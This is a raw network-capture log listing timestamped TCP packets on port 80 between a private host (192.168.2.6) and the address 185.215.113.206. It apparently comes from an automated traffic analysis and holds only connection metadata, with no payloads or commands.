Oct 27, 2024 00:31:18.387623072 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.387634039 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.387658119 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.387691021 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.387702942 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.387725115 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.387731075 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.387758970 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.387764931 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.387793064 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.387799025 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.387829065 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.387834072 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.387865067 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.387897968 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.387909889 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.387933016 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.387942076 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.387968063 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.387994051 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.388001919 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.388032913 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.388036966 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.388051987 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.388072968 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.388082981 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.388108015 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.388113022 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.388142109 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.388158083 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.388176918 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.388190985 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.388211966 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.388221979 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.388250113 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.388276100 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.388289928 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.388410091 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.388453960 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.438735962 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.438788891 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.438842058 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.438853979 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.438875914 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.438894033 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.438911915 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.438918114 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.438947916 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.438954115 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.438982964 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.438992023 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.439023018 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.439073086 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.439101934 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.439120054 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.439145088 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.496396065 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.496467113 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.496504068 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.496539116 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.496556044 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.496575117 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.496588945 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.496619940 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.496629000 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.496665955 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.496675014 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.496697903 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.496710062 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.496732950 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.496741056 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.496777058 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.496792078 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.496856928 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.496865034 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.496901989 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.496910095 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.496941090 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.496949911 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.496978045 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.496984959 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.497011900 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.497020006 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.497045994 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.497057915 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.497076035 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.497088909 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.497111082 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.497117996 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.497147083 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.497150898 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.497181892 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.497190952 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.497220039 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.497227907 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.497256041 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.497263908 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.497291088 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.497297049 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.497325897 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.497334957 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.497360945 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.497370005 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.497394085 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.497405052 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.497428894 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.497437000 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.497463942 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.497468948 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.497499943 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.497505903 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.497530937 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.497538090 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.497565031 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.497570992 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.497600079 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.497610092 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.497633934 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.497642994 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.497668982 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.497674942 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.497706890 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.497709990 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.497747898 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.497973919 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.498025894 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.498028040 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.498064041 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.498071909 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.498101950 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.498116016 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.498150110 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.498157978 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.498184919 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.498189926 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.498222113 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.498228073 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.498265028 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.498276949 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.498327017 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.498328924 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.498364925 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.498373985 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.498399019 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.498420954 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.498439074 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.498445988 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.498472929 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.498478889 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.498507023 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.498519897 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.498544931 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.498548985 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.498585939 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.498596907 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.498631001 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.498639107 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.498672962 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.498682976 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.498719931 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.498724937 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.498756886 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.498761892 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.498791933 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.498799086 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.498826027 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.498831987 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.498861074 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.498863935 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.498895884 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.498897076 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.498930931 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.498935938 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.498965025 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.498971939 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.499000072 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.499007940 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.499034882 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.499039888 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.499070883 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.499077082 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.499114037 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.499167919 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.499207020 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.499212980 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.499241114 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.499248028 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.499277115 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.499288082 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.499310970 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.499326944 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.499376059 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.499382973 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.499418020 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.499430895 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.499466896 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.499473095 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.499500990 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.499507904 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.499535084 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.499541998 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.499587059 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.499588966 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.499633074 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.499639988 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.499675989 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.499686003 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.499711037 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.499716043 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.499741077 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.499752998 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.499756098 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.499773026 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.499778032 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.499788046 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.499789000 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.499804020 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.499809027 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.499819040 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.499819040 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.499835968 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.499836922 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.499852896 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.499860048 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.499869108 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.499869108 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.499886036 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.499890089 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.499902010 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.499902964 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.499917030 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.499922991 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.499929905 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.499933958 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.499942064 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.499953985 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.499953985 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.499963045 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.499985933 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.500127077 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.500138998 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.500149012 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.500159025 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.500169039 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.500171900 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.500180006 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.500183105 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.500193119 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.500202894 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.500209093 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.500214100 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.500221014 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.500230074 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.500238895 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.500257969 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.500281096 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.500353098 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.500364065 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.500374079 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.500382900 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.500395060 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.500400066 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.500406027 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.500417948 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.500423908 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.500428915 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.500432014 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.500441074 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.500458956 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.500484943 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.500711918 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.500724077 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.500735044 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.500746965 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.500761986 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.500766039 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.500780106 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.500787973 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.500791073 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.500798941 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.500807047 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.500818014 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.500828981 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.500828981 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.500844002 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.500861883 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.500865936 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.500879049 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.500883102 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.500890970 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.500891924 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.500904083 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.500912905 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.500919104 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.500922918 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.500931978 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.500943899 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.500955105 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.500958920 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.500971079 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.500996113 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.501310110 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.501322985 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.501332998 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.501353025 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.501362085 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.501367092 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.501373053 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.501379013 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.501389980 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.501400948 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.501401901 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.501416922 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.501422882 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.501427889 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.501439095 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.501447916 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.501452923 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.501466036 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.501477003 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.501477957 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.501487017 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.501491070 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.501502037 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.501502991 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.501516104 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.501533031 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.501557112 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.501905918 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.501919031 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.501929998 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.501940966 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.501944065 CEST	49709	80	192.168.2.6	185.215.113.206
